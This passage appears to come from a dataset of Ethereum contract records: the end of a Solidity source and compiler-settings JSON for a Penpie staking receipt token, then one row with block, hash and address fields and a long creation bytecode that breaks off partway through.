}\n\n // should only be called by 1. pendleStaking for Pendle Market deposits 2. masterPenpie for other general staking token such as mPendleOFT or PNP-ETH Lp tokens\n function burn(address account, uint256 amount) external virtual onlyOwner {\n _burn(account, amount);\n }\n\n // rewards are calculated based on user's receipt token balance, so reward should be updated on master penpie before transfer\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n IMasterPenpie(masterPenpie).beforeReceiptTokenTransfer(from, to, amount);\n }\n\n // rewards are calculated based on user's receipt token balance, so balance should be updated on master penpie before transfer\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n IMasterPenpie(masterPenpie).afterReceiptTokenTransfer(from, to, amount);\n }\n\n}"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 100
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {
"contracts/libraries/ERC20FactoryLib.sol": {
"ERC20FactoryLib": "0xae8e4bc88f792297a808cb5f32d4950fbbd8aeba"
}
}
}
}} |
1 | 19,493,864 | 9560652dc16b2bc24352d325799df2f3f5be430c447faee3dd331933e69b63f8 | 3bbbc4cfda59e0789cf75f1a7d1e9de08f42c6ecee1bcf538f626179793718ad | 0cdb34e6a4d635142bb92fe403d38f636bbb77b8 | 0cdb34e6a4d635142bb92fe403d38f636bbb77b8 | db9dba0cf82cd311c6218af4fc92267563f0d865 | 60806040523480156200001157600080fd5b506200001c62000022565b620000e4565b600054610100900460ff16156200008f5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161015620000e2576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6155b480620000f46000396000f3fe6080604052600436106103475760003560e01c80638456cb59116101b2578063b67b6df3116100ed578063e437ad0311610090578063e437ad0314610b09578063e6ec638b14610b29578063e7b9b93d14610b49578063efbd906014610b5f578063f23f569c14610b75578063f2fde38b14610b95578063f9051b7214610bb5578063fa8da92114610bd557600080fd5b8063b67b6df314610a13578063b702c60c14610a33578063be18a63e14610a53578063c415b95c14610a73578063ce7319ae14610a93578063d7b777a014610ab3578063de3fcde914610ad3578063e2a578cd14610ae957600080fd5b8063a8f50a4411610155578063a8f50a4414610935578063ab9c799714610948578063ad5c464814610968578063ad8fab3214610988578063ae12213b146109a8578063b0e21e8a146109c8578063b3944d52146109de578063b4606bab146109f357600080fd5b80638456cb59146107bc5780638c466507146107d15780638cbfff00146107f15780638da5cb5b14610811578063910a38241461082f578063960a8a611461084f578063a4063dbc1461086f578063a83b67d11461091557600080fd5b8063415bbe8a11610282578063698766ee11610225578063698766ee1461068f578063715018a6146106af578063719e5ff1146106c457806378f18bc8146106e457806379af55e4146107045780637cf738d2146107245780637eaa176c1461074457806382dabb211461079c57600080fd5b8063415bbe8a146105a157806342c1e587146105b757806342f86dd3146105d75780634a9d7127146105f75780635c975abb14610617578063612be6a21461063a57806362190fde1461065a578063635202741461067a57600080fd5b806331f61254116102ea57806331f61254146104c0578063323b309a146104e057806332e525f5146105005780633c41d5ab146105205780633d38b3a7146105405780633f3e2b11146105555780633f4ba83a146105755780633fd8b02f1461058a57600080fd5b80630edd75d2146103b75780630fe79ee4146103dd578063167948e01461040a5780631a2d5e6e146104205780631fed695514610440578063206aeab31461046057806324e7a688146104805780633043fed0146104a057600080fd5b366103b25760ca60009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561039c57600080fd5b505af11580156103b0573d6000803e3d6000fd5b005b600080fd5b6103ca6103c5366004614823565b610bf5565b6040519081526020015b60405180910390f35b3480156103e957600080fd5b506103fd6103f8366004614864565b610d2b565b6040516103d4919061487d565b34801561041657600080fd5b506103ca60da5481565b34801561042c57600080fd5b506103b061043b3660046148a6565b610d55565b34801561044c57600080fd5b506103b061045b3660046149dd565b610ea1565b34801561046c57600080fd5b5060d4546103fd906001600160a01b031681565b34801561048c57600080fd5b506103b061049b366004614a5c565b61120b565b3480156104ac57600080fd5b506103b06104bb366004614864565b611235565b3480156104cc57600080fd5b506103b06104db366004614a79565b611265565b3480156104ec57600080fd5b506103b06104fb366004614aba565b6113d9565b34801561050c57600080fd5b506103b061051b366004614b0b565b611573565b34801561052c57600080fd5b5060ce546103fd906001600160a01b031681565b34801561054c57600080fd5b506103ca6116ce565b34801561056157600080fd5b506103b0610570366004614a79565b61174e565b34801561058157600080fd5b506103b06117ff565b34801561059657600080fd5b506103ca6101105481565b3480156105ad57600080fd5b506103ca60d95481565b3480156105c357600080fd5b5060cf546103fd906001600160a01b031681565b3480156105e357600080fd5b506103b06105f2366004614b44565b61183d565b34801561060357600080fd5b5060cd546103fd906001600160a01b031681565b34801561062357600080fd5b5060975460ff1660405190151581526020016103d4565b34801561064657600080fd5b5060cc546103fd906001600160a01b031681565b34801561066657600080fd5b506103b0610675366004614a5c565b611925565b34801561068657600080fd5b506103ca6119b2565b34801561069b57600080fd5b506103b06106aa366004614b9a565b611a29565b3480156106bb57600080fd5b506103b0611ae5565b3480156106d057600080fd5b506103b06106df366004614864565b611af9565b3480156106f057600080fd5b506103b06106ff366004614c28565b611d51565b34801561071057600080fd5b506103b061071f366004614864565b612017565b34801561073057600080fd5b5060c9546103fd906001600160a01b031681565b34801561075057600080fd5b5061076461075f366004614864565b6120af565b604080519586526001600160a01b0390941660208601529115159284019290925290151560608301521515608082015260a0016103d4565b3480156107a857600080fd5b5060d1546103fd906001600160a01b031681565b3480156107c857600080fd5b506103b0612107565b3480156107dd57600080fd5b5060e0546103fd906001600160a01b031681565b3480156107fd57600080fd5b506103b061080c366004614a5c565b61213e565b34801561081d57600080fd5b506033546001600160a01b03166103fd565b34801561083b57600080fd5b506103b061084a366004614a5c565b612168565b34801561085b57600080fd5b506103b061086a366004614ce0565b612192565b34801561087b57600080fd5b506108d361088a366004614a5c565b60d5602052600090815260409020805460018201546002830154600384015460048501546005909501546001600160a01b03948516959385169492831693919092169160ff1686565b604080516001600160a01b03978816815295871660208701529386169385019390935293166060830152608082019290925290151560a082015260c0016103d4565b34801561092157600080fd5b506103b0610930366004614a5c565b612292565b6103ca610943366004614d42565b6122ec565b34801561095457600080fd5b506103b0610963366004614d8d565b612448565b34801561097457600080fd5b5060ca546103fd906001600160a01b031681565b34801561099457600080fd5b5060cb546103fd906001600160a01b031681565b3480156109b457600080fd5b506103b06109c3366004614864565b6125d7565b3480156109d457600080fd5b506103ca60db5481565b3480156109ea57600080fd5b5060d6546103ca565b3480156109ff57600080fd5b5060d2546103fd906001600160a01b031681565b348015610a1f57600080fd5b506103b0610a2e366004614a5c565b61261e565b348015610a3f57600080fd5b506103b0610a4e366004614a5c565b612678565b348015610a5f57600080fd5b5060d3546103fd906001600160a01b031681565b348015610a7f57600080fd5b5060dc546103fd906001600160a01b031681565b348015610a9f57600080fd5b506103b0610aae366004614de0565b6126a2565b348015610abf57600080fd5b5060df546103fd906001600160a01b031681565b348015610adf57600080fd5b506103ca60d75481565b348015610af557600080fd5b5060de546103fd906001600160a01b031681565b348015610b1557600080fd5b5060dd546103fd906001600160a01b031681565b348015610b3557600080fd5b506103b0610b44366004614b0b565b6126ea565b348015610b5557600080fd5b506103ca60e15481565b348015610b6b57600080fd5b506103ca60d05481565b348015610b8157600080fd5b506103b0610b903660046148a6565b61279f565b348015610ba157600080fd5b506103b0610bb0366004614a5c565b612871565b348015610bc157600080fd5b506103b0610bd0366004614864565b6128ea565b348015610be157600080fd5b506103b0610bf0366004614823565b61291a565b6000610bff612b55565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610c3090309060040161487d565b602060405180830381865afa158015610c4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c719190614e2b565b60d15460c954919250610c91916001600160a01b03908116911683612baf565b6000610c9b612ce9565b60d154604051631988e37760e31b81529192506001600160a01b03169063cc471bb8903490610cd490869086908b908b90600401614e44565b60206040518083038185885af1158015610cf2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d179190614e97565b6001600160801b0316925050505b92915050565b60d68181548110610d3b57600080fd5b6000918252602090912001546001600160a01b0316905081565b600054610100900460ff1615808015610d755750600054600160ff909116105b80610d8f5750303b158015610d8f575060005460ff166001145b610db45760405162461bcd60e51b8152600401610dab90614ec0565b60405180910390fd5b6000805460ff191660011790558015610dd7576000805461ff0019166101001790555b610ddf612cfd565b610de7612d2c565b610def612d5b565b60c980546001600160a01b03199081166001600160a01b038a81169190911790925560ca8054821689841617905560ce8054821685841617905560d18054821688841617905560d28054821687841617905560d480549091169185169190911790558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498906020015b60405180910390a15b50505050505050565b610ea9612b55565b6001600160a01b038416600090815260d5602052604090206005015460ff1615610ee6576040516333b1990560e11b815260040160405180910390fd5b60ce54604051630639860b60e51b815260009173ae8e4bc88f792297a808cb5f32d4950fbbd8aeba9163c730c16091610f319189916001600160a01b03169088908890600401614f5e565b602060405180830381865af4158015610f4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f729190614f9c565b60ce5460c954604051631d9f877360e11b81529293506000926001600160a01b0392831692633b3f0ee692610faf92879290911690600401614fb9565b6020604051808303816000875af1158015610fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff29190614f9c565b60cd546040516353d6103d60e01b81529192506001600160a01b0316906353d6103d906110289089908590600190600401614fd3565b600060405180830381600087803b15801561104257600080fd5b505af1158015611056573d6000803e3d6000fd5b505060ce5460405163266f24b760e01b8152600481018990526001600160a01b038a8116602483015286811660448301528581166064830152909116925063266f24b79150608401600060405180830381600087803b1580156110b857600080fd5b505af11580156110cc573d6000803e3d6000fd5b50506040805160c0810182526001600160a01b038a8116808352868216602080850182815260cd5485168688019081528b861660608089018281524260808b01908152600160a08c0181815260008b815260d58a528e81209d518e546001600160a01b0319908116918f16919091178f5598518e840180548b16918f16919091179055965160028e0180548a16918e16919091179055925160038d018054891691909c1617909a555160048b0155516005909901805460ff19169915159990991790985560d6805497880181559091527fe767803f8ecf1dee6bb0345811f7312cda556058b19db6389ad9ae3568643ddd9095018054909116841790558551928352820152928301527f4c61bab17e59e06eb29c0659ba5f68dc5bc003d57587a7280d98d532d2bf312a935001905060405180910390a1505050505050565b611213612b55565b60cc80546001600160a01b0319166001600160a01b0392909216919091179055565b61123d612b55565b61384081111561126057604051636f1d586b60e01b815260040160405180910390fd5b60d055565b6002606554036112875760405162461bcd60e51b8152600401610dab90614ff7565b6002606555611294612d8a565b6001600160a01b03838116600090815260d560205260409020600281015485921633146112d457604051630c41ae1360e41b815260040160405180910390fd5b6001600160a01b03808616600090815260d560205260408120805490926112fd92911690612dd0565b6003810154604051632770a7eb60e21b81526001600160a01b0390911690639dc29fac90611331908890889060040161502e565b600060405180830381600087803b15801561134b57600080fd5b505af115801561135f573d6000803e3d6000fd5b5050825461137a92506001600160a01b0316905086866132ff565b600381015460408051868152602081018790526001600160a01b039283169289811692908916917fbae0543fc4bf2babacb67049151541b087a2a4da5d699d396cb271009390e2d2910160405180910390a45050600160655550505050565b6002606554036113fb5760405162461bcd60e51b8152600401610dab90614ff7565b6002606555611408612d8a565b6001600160a01b03848116600090815260d5602052604090206002810154869216331461144857604051630c41ae1360e41b815260040160405180910390fd5b600581015460ff1661146d57604051636a325bd960e11b815260040160405180910390fd5b6001600160a01b03808716600090815260d5602052604081208054909261149692911690612dd0565b80546114ad906001600160a01b031686308761331e565b60038101546040516340c10f1960e01b81526001600160a01b03909116906340c10f19906114e1908990889060040161502e565b600060405180830381600087803b1580156114fb57600080fd5b505af115801561150f573d6000803e3d6000fd5b50505050600381015460408051868152602081018790526001600160a01b03928316928a811692908a16917fc9bc689e1fe6f1a599d618c1d5b7a496dfd42ddd4742c79b9e31265b5bb7322b910160405180910390a4505060016065555050505050565b61157b612b55565b6001600160a01b038216600090815260d560205260409020600581015483919060ff166115bb57604051636a325bd960e11b815260040160405180910390fd5b6001600160a01b03831615806115d857506001600160a01b038416155b156115f65760405163e6c4247b60e01b815260040160405180910390fd5b6001600160a01b03848116600090815260d56020526040908190206002810180546001600160a01b0319168785169081179091556001820154600583015493516353d6103d60e01b8152929491936353d6103d9361165e938b93169160ff1690600401614fd3565b600060405180830381600087803b15801561167857600080fd5b505af115801561168c573d6000803e3d6000fd5b505050507fce3a680d01747abb9461a3d05f1da77c9cfb9a5b7a6cc1828c733dc52b154797846040516116bf919061487d565b60405180910390a15050505050565b60d1546040516370a0823160e01b81526000916001600160a01b0316906370a08231906116ff90309060040161487d565b602060405180830381865afa15801561171c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117409190614e97565b6001600160801b0316905090565b611756612d8a565b6001600160a01b038316600090815260d560205260409020600581015484919060ff1661179657604051636a325bd960e11b815260040160405180910390fd5b6040805160018082528183019092526000916020808301908036833701905050905085816000815181106117cc576117cc615047565b60200260200101906001600160a01b031690816001600160a01b0316815250506117f781868661335c565b505050505050565b6002606554036118215760405162461bcd60e51b8152600401610dab90614ff7565b600260655561182e612b55565b611836613a6b565b6001606555565b611845612b55565b6127106118528386615073565b1115611871576040516358d620b360e01b815260040160405180910390fd5b61271061187e8385615073565b111561189d576040516358d620b360e01b815260040160405180910390fd5b60d380546001600160a01b038781166001600160a01b0319928316811790935560da87905560e186905560db85905560dc8054918516919092168117909155604080519283526020830187905282018590526060820184905260808201527f21df36fcb21c91ab978e547b0b07a783b8640e4af05f7a83a11b88ce38253da39060a0016116bf565b61192d612b55565b6001600160a01b0381166119545760405163e6c4247b60e01b815260040160405180910390fd5b60df80546001600160a01b038381166001600160a01b0319831681179093556040519116917f93d91a44a19fab5f6ba1bd574636efa90c520e4cf06a6924b023f47e423c74f3916119a6918491614fb9565b60405180910390a15050565b60d254604051635305f82960e01b81526000916001600160a01b031690635305f829906119e390309060040161487d565b602060405180830381865afa158015611a00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a249190614e2b565b905090565b60cf546001600160a01b03163314611a5457604051630316025160e11b815260040160405180910390fd5b828114611a77576040516001621398b960e31b0319815260040160405180910390fd5b60d3546040516334c3b37760e11b81526001600160a01b039091169063698766ee90611aad9087908790879087906004016150cf565b600060405180830381600087803b158015611ac757600080fd5b505af1158015611adb573d6000803e3d6000fd5b5050505050505050565b611aed612b55565b611af76000613ab7565b565b611b01612b55565b600060d88281548110611b1657611b16615047565b60009182526020918290206040805160a081018252600290930290910180548352600101546001600160a01b0381169383019390935260ff600160a01b84048116151591830191909152600160a81b8304811615156060830152600160b01b909204909116151560808201529050815b60d854611b959060019061513b565b811015611c995760d8611ba9826001615073565b81548110611bb957611bb9615047565b906000526020600020906002020160d88281548110611bda57611bda615047565b600091825260209091208254600290920201908155600191820180549290910180546001600160a01b031981166001600160a01b039094169384178255825460ff600160a01b91829004811615159091026001600160a81b0319909216909417178082558254600160a81b90819004851615150260ff60a81b198216811783559254600160b01b90819004909416151590930260ff60b01b1990921661ffff60a81b199093169290921717905580611c918161514e565b915050611b86565b5060d8805480611cab57611cab615167565b60008281526020812060026000199093019283020181815560010180546001600160b81b03191690559155815160d7805491929091611ceb90849061513b565b9091555050805160208083015160408085015160608087015183519687526001600160a01b03909416948601949094521515908401521515908201527ff8d0e93ab5bb2949217d7909d7a0a1c922cdebb049a6fe248eb99bbc63bcf0c0906080016119a6565b611d59612b55565b6001600160a01b038216600081815260d56020526040808220815163c4f59f9b60e01b8152915190939163c4f59f9b91600480830192869291908290030181865afa158015611dac573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611dd4919081019061517d565b90508251815114611e0d5760405162461bcd60e51b815260206004820152600360248201526217171760e91b6044820152606401610dab565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190611e3e90309060040161487d565b602060405180830381865afa158015611e5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e7f9190614e2b565b905060005b8251811015611f8b5760006001600160a01b0316838281518110611eaa57611eaa615047565b60200260200101516001600160a01b031603611f045760ca5483516001600160a01b0390911690849083908110611ee357611ee3615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b6000858281518110611f1857611f18615047565b60200260200101519050611f7887858481518110611f3857611f38615047565b60200260200101518760010160009054906101000a90046001600160a01b0316898681518110611f6a57611f6a615047565b602002602001015185613b09565b5080611f838161514e565b915050611e84565b5060c9546040516370a0823160e01b815260009183916001600160a01b03909116906370a0823190611fc190309060040161487d565b602060405180830381865afa158015611fde573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120029190614e2b565b61200c919061513b565b90506117f781613f90565b600061202b6120268342615073565b6141ad565b60d1546040516364090f6160e11b8152600060048201526001600160801b03831660248201529192506001600160a01b03169063c8121ec2906044016020604051808303816000875af1158015612086573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120aa9190614e97565b505050565b60d881815481106120bf57600080fd5b6000918252602090912060029091020180546001909101549091506001600160a01b0381169060ff600160a01b8204811691600160a81b8104821691600160b01b9091041685565b6002606554036121295760405162461bcd60e51b8152600401610dab90614ff7565b6002606555612136612b55565b6118366141c7565b612146612b55565b60e080546001600160a01b0319166001600160a01b0392909216919091179055565b612170612b55565b60cd80546001600160a01b0319166001600160a01b0392909216919091179055565b61219a612b55565b61271085106121bc576040516358d620b360e01b815260040160405180910390fd5b600060d887815481106121d1576121d1615047565b600091825260209091206002909102016001810180546001600160a01b0388166001600160a81b031990911617600160a01b871515021761ffff60a81b1916600160a81b8615150260ff60b01b191617600160b01b85151502179055805460d7549192508791612241919061513b565b61224b9190615073565b60d75585815560018101546040517f699b82e4ddf9d3de54305631548f438bd57da8b6d846366457d315c30b014ee791610e8f916001600160a01b0390911690899061502e565b61229a612b55565b60cb80546001600160a01b038381166001600160a01b0319831681179093556040519116917f276b041a78f78908446ffd3d9472af67a63628407e45b0401ebfecf5314e47a1916119a6918491614fb9565b60006122f6612d8a565b60006123006116ce565b905084600003612323576040516367a5a71760e11b815260040160405180910390fd5b60c95461233b906001600160a01b031633308861331e565b60d15460c954612358916001600160a01b03918216911687612baf565b6000612362612ce9565b60d154604051631988e37760e31b81529192506001600160a01b03169063cc471bb890349061239b908a9086908b908b90600401614e44565b60206040518083038185885af11580156123b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906123de9190614e97565b506000826123ea6116ce565b6123f4919061513b565b61011054604080518a8152602081019290925281018290529091507f7bf6450c3539f2501f46986ad366594cc5c2e900e8d3a65370ae749d7b7527da9060600160405180910390a1925050505b9392505050565b612450612b55565b6127108410612472576040516358d620b360e01b815260040160405180910390fd5b6040805160a0810182528581526001600160a01b03808616602083019081528515159383019384528415156060840190815260016080850181815260d8805492830181556000908152955160029092027f5320ad99a619a90804cd2efe3a5cf0ac1ac5c41ad9ff2c61cf699efdad77109681019290925592517f5320ad99a619a90804cd2efe3a5cf0ac1ac5c41ad9ff2c61cf699efdad77109790910180549651925193511515600160b01b0260ff60b01b19941515600160a81b029490941661ffff60a81b19931515600160a01b026001600160a81b031990981692909516919091179590951716919091171790915560d78054869290612575908490615073565b9091555050604080516001600160a01b0385168152602081018690528315159181019190915281151560608201527f95a34a443b17d09f6ff25c5a6d7423b1f076b1758d5cfbb826221972647e3ed8906080015b60405180910390a150505050565b6125df612b55565b61011080549082905560408051828152602081018490527f90bec2dbd8e4a597dd4ab85251c576d4e1f4a5bb7de5773af2e8ade016b4759291016119a6565b612626612b55565b60cf80546001600160a01b038381166001600160a01b0319831681179093556040519116917fd00cc5a8189e6650ae02d7f52d209c29732ed484b8e55577b96767de25c0ae9a916119a6918491614fb9565b612680612b55565b60ce80546001600160a01b0319166001600160a01b0392909216919091179055565b6126aa612d8a565b6120aa83838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525033925085915061335c9050565b6126f2612b55565b60de80546001600160a01b03198082166001600160a01b0386811691821790945560dd80549283168686161790556040519284169391909116917fd82b4298ed526fb373b7d78beea021779079a1a4b27e5b46c4241e4115758c499161275a91859190614fb9565b60405180910390a160dd546040517f2cdef2dbe9dd5da2b962e95a6f96fffd5da74e39742c07e985b383a4bf95c433916125c99184916001600160a01b031690614fb9565b600054610100900460ff16158080156127bf5750600054600160ff909116105b806127d95750303b1580156127d9575060005460ff166001145b6127f55760405162461bcd60e51b8152600401610dab90614ec0565b6000805460ff191660011790558015612818576000805461ff0019166101001790555b612826878787878787610d55565b6303b53800610110558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb384740249890602001610e8f565b612879612b55565b6001600160a01b0381166128de5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dab565b6128e781613ab7565b50565b6128f2612b55565b612710811115612915576040516358d620b360e01b815260040160405180910390fd5b60d955565b306001600160a01b031663635202746040518163ffffffff1660e01b8152600401602060405180830381865afa158015612958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061297c9190614e2b565b60000361299c57604051630da1ec0160e31b815260040160405180910390fd5b60db54158015906129b6575060dc546001600160a01b0316155b806129ca575060dd546001600160a01b0316155b156129e857604051630ad13b3360e21b815260040160405180910390fd5b60d254604051600162525fcd60e11b0319815260009182916001600160a01b039091169063ff5b406690612a249030908890889060040161520b565b6000604051808303816000875af1158015612a43573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612a6b919081019061529f565b91509150600061271060db5484612a8291906152e5565b612a8c9190615312565b60dc5460ca54919250612aac916001600160a01b039081169116836132ff565b600061271060da5485612abf91906152e5565b612ac99190615312565b60ca54909150612ae3906001600160a01b031633836132ff565b600081612af0848761513b565b612afa919061513b565b60dd5460ca54919250612b1a916001600160a01b039081169116836132ff565b7f3dceb43957dc72b04d40eaf449ac8b867ea8d60ed7d860e9ba977921ab89b46685888887878787604051610e8f9796959493929190615326565b6033546001600160a01b03163314611af75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dab565b801580612c285750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90612be59030908690600401614fb9565b602060405180830381865afa158015612c02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c269190614e2b565b155b612c935760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610dab565b6120aa8363095ea7b360e01b8484604051602401612cb292919061502e565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152614204565b6000611a2461011054426120269190615073565b600054610100900460ff16612d245760405162461bcd60e51b8152600401610dab90615397565b611af76142d6565b600054610100900460ff16612d535760405162461bcd60e51b8152600401610dab90615397565b611af7614306565b600054610100900460ff16612d825760405162461bcd60e51b8152600401610dab90615397565b611af761432d565b60975460ff1615611af75760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610dab565b6001600160a01b038216600090815260d56020526040902081158015612e05575060d0546004820154612e03904261513b565b105b15612e0f57505050565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190612e4090309060040161487d565b602060405180830381865afa158015612e5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e819190614e2b565b90504282600401819055506000846001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa158015612ecc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612ef4919081019061517d565b9050600081516001600160401b03811115612f1157612f11614928565b604051908082528060200260200182016040528015612f3a578160200160208202803683370190505b50905060005b82518110156130755760006001600160a01b0316838281518110612f6657612f66615047565b60200260200101516001600160a01b031603612fc05760ca5483516001600160a01b0390911690849083908110612f9f57612f9f615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b828181518110612fd257612fd2615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401613005919061487d565b602060405180830381865afa158015613022573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130469190614e2b565b82828151811061305857613058615047565b60209081029190910101528061306d8161514e565b915050612f40565b50604051639262187b60e01b81526001600160a01b03871690639262187b906130a290309060040161487d565b6000604051808303816000875af11580156130c1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526130e991908101906153e2565b5060005b82518110156132735760006001600160a01b031683828151811061311357613113615047565b60200260200101516001600160a01b03160361316d5760ca5483516001600160a01b039091169084908390811061314c5761314c615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b600083828151811061318157613181615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016131b4919061487d565b602060405180830381865afa1580156131d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f59190614e2b565b9050600083838151811061320b5761320b615047565b60200260200101518261321e919061513b565b905080801561325d5761325d8a87868151811061323d5761323d615047565b602090810291909101015160018b01546001600160a01b03168585613b09565b505050808061326b9061514e565b9150506130ed565b5060c9546040516370a0823160e01b815260009185916001600160a01b03909116906370a08231906132a990309060040161487d565b602060405180830381865afa1580156132c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132ea9190614e2b565b6132f4919061513b565b9050610e9881613f90565b6120aa8363a9059cbb60e01b8484604051602401612cb292919061502e565b6040516001600160a01b03808516602483015283166044820152606481018290526133569085906323b872dd60e01b90608401612cb2565b50505050565b60c9546040516370a0823160e01b815260009182916001600160a01b03909116906370a082319061339190309060040161487d565b602060405180830381865afa1580156133ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133d29190614e2b565b905060005b85518110156138d65760d560008783815181106133f6576133f6615047565b6020908102919091018101516001600160a01b031682528101919091526040016000206005015460ff1661343d57604051636a325bd960e11b815260040160405180910390fd5b600060d5600088848151811061345557613455615047565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000209050428160040181905550600087838151811061349c5761349c615047565b60200260200101516001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa1580156134e1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613509919081019061517d565b9050600081516001600160401b0381111561352657613526614928565b60405190808252806020026020018201604052801561354f578160200160208202803683370190505b50905060005b825181101561368a5760006001600160a01b031683828151811061357b5761357b615047565b60200260200101516001600160a01b0316036135d55760ca5483516001600160a01b03909116908490839081106135b4576135b4615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b8281815181106135e7576135e7615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161361a919061487d565b602060405180830381865afa158015613637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061365b9190614e2b565b82828151811061366d5761366d615047565b6020908102919091010152806136828161514e565b915050613555565b5088848151811061369d5761369d615047565b60200260200101516001600160a01b0316639262187b306040518263ffffffff1660e01b81526004016136d0919061487d565b6000604051808303816000875af11580156136ef573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261371791908101906153e2565b5060005b82518110156138bf57600083828151811061373857613738615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161376b919061487d565b602060405180830381865afa158015613788573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ac9190614e2b565b905060008383815181106137c2576137c2615047565b6020026020010151826137d5919061513b565b90508060008181036137ea57505050506138ad565b60c95487516001600160a01b039091169088908790811061380d5761380d615047565b60200260200101516001600160a01b03160361384d5761271060e1548461383491906152e5565b61383e9190615312565b905061384a818461513b565b91505b613857818c615073565b9a506138a88e8a8151811061386e5761386e615047565b602002602001015188878151811061388857613888615047565b602090810291909101015160018b01546001600160a01b03168686613b09565b505050505b806138b78161514e565b91505061371b565b5050505080806138ce9061514e565b9150506133d7565b5060c9546040516370a0823160e01b8152600091849184916001600160a01b0316906370a082319061390c90309060040161487d565b602060405180830381865afa158015613929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061394d9190614e2b565b613957919061513b565b613961919061513b565b905061396c81613f90565b82156117f75760c95460e05460405163095ea7b360e01b81526001600160a01b039283169263095ea7b3926139a892911690879060040161502e565b6020604051808303816000875af11580156139c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139eb9190615416565b5060e05460c95460405163187179c960e11b81526001600160a01b039182166004820152602481018690526044810187905287821660648201529116906330e2f39290608401600060405180830381600087803b158015613a4b57600080fd5b505af1158015613a5f573d6000803e3d6000fd5b50505050505050505050565b613a73614360565b6097805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b604051613aad919061487d565b60405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8015613f895760c9546001600160a01b0390811690851603613ccc5760005b60d854811015613cc657600060d88281548110613b4757613b47615047565b906000526020600020906002020190508060010160169054906101000a900460ff1615613cb357805460009061271090613b8190876152e5565b613b8b9190615312565b9050613b97818561513b565b60018301549094508190600160a01b900460ff16613c77576001830154600160a81b900460ff16613c5b576001830154613bde906001600160a01b038a8116911683612baf565b60018301546040516347e7a41160e11b81526001600160a01b0390911690638fcf482290613c129084908c90600401615433565b6020604051808303816000875af1158015613c31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c559190615416565b50613c77565b6001830